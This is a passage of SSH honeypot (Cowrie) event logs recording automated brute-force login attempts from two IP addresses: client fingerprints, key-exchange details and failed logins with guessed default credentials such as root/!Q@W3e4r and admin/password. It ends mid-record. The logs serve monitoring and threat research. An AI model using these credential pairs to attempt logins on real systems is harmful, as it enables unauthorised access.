{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:04.575309Z","src_ip":"159.203.92.129","session":"b005f4d63785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:04.584707Z","src_ip":"159.203.92.129","session":"b005f4d63785","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123QWEasd","message":"login attempt [ansible/123QWEasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:04.603250Z","src_ip":"159.203.92.129","session":"b005f4d63785","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:05.613868Z","src_ip":"159.203.92.129","session":"b005f4d63785","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33234,"dst_ip":"10.17.0.5","dst_port":22,"session":"54ed3f913847","protocol":"ssh","message":"New connection: 176.65.139.103:33234 (10.17.0.5:22) [session: 54ed3f913847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:08.786509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:08.791701Z","src_ip":"176.65.139.103","session":"54ed3f913847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:08.877842Z","src_ip":"176.65.139.103","session":"54ed3f913847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:09.135434Z","src_ip":"176.65.139.103","session":"54ed3f913847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:10.361672Z","src_ip":"176.65.139.103","session":"54ed3f913847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53040,"dst_ip":"10.17.0.5","dst_port":22,"session":"24879055d24d","protocol":"ssh","message":"New connection: 176.65.139.103:53040 (10.17.0.5:22) [session: 24879055d24d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:15.137470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:15.141423Z","src_ip":"176.65.139.103","session":"24879055d24d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:15.225556Z","src_ip":"176.65.139.103","session":"24879055d24d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:15.498543Z","src_ip":"176.65.139.103","session":"24879055d24d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:16.637093Z","src_ip":"176.65.139.103","session":"24879055d24d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53064,"dst_ip":"10.17.0.5","dst_port":22,"session":"315b8109c984","protocol":"ssh","message":"New connection: 176.65.139.103:53064 (10.17.0.5:22) [session: 315b8109c984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:21.588317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:21.618661Z","src_ip":"176.65.139.103","session":"315b8109c984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:21.706205Z","src_ip":"176.65.139.103","session":"315b8109c984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:22.027205Z","src_ip":"176.65.139.103","session":"315b8109c984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:23.128628Z","src_ip":"176.65.139.103","session":"315b8109c984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45304,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8d0e81febef","protocol":"ssh","message":"New connection: 176.65.139.103:45304 (10.17.0.5:22) [session: f8d0e81febef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:28.339411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:28.344917Z","src_ip":"176.65.139.103","session":"f8d0e81febef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:28.427214Z","src_ip":"176.65.139.103","session":"f8d0e81febef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:28.820373Z","src_ip":"176.65.139.103","session":"f8d0e81febef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:30.154883Z","src_ip":"176.65.139.103","session":"f8d0e81febef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60140,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0a224a042c2","protocol":"ssh","message":"New connection: 176.65.139.103:60140 (10.17.0.5:22) [session: c0a224a042c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:34.794466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:34.800224Z","src_ip":"176.65.139.103","session":"c0a224a042c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:34.884285Z","src_ip":"176.65.139.103","session":"c0a224a042c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:35.146745Z","src_ip":"176.65.139.103","session":"c0a224a042c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:36.268241Z","src_ip":"176.65.139.103","session":"c0a224a042c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60152,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8b9e4b4da6e","protocol":"ssh","message":"New connection: 176.65.139.103:60152 (10.17.0.5:22) [session: b8b9e4b4da6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:41.978642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:41.984653Z","src_ip":"176.65.139.103","session":"b8b9e4b4da6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:42.081919Z","src_ip":"176.65.139.103","session":"b8b9e4b4da6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:42.519530Z","src_ip":"176.65.139.103","session":"b8b9e4b4da6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:43.607120Z","src_ip":"176.65.139.103","session":"b8b9e4b4da6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44356,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b56dbe90853","protocol":"ssh","message":"New connection: 176.65.139.103:44356 (10.17.0.5:22) [session: 5b56dbe90853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:48.842325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:48.857652Z","src_ip":"176.65.139.103","session":"5b56dbe90853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:48.927938Z","src_ip":"176.65.139.103","session":"5b56dbe90853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:49.258927Z","src_ip":"176.65.139.103","session":"5b56dbe90853","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35742,"dst_ip":"159.203.135.109","dst_port":22,"session":"10aba5a14519","protocol":"ssh","message":"New connection: 159.203.92.129:35742 (159.203.135.109:22) [session: 10aba5a14519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:49.835670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:49.840711Z","src_ip":"159.203.92.129","session":"10aba5a14519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-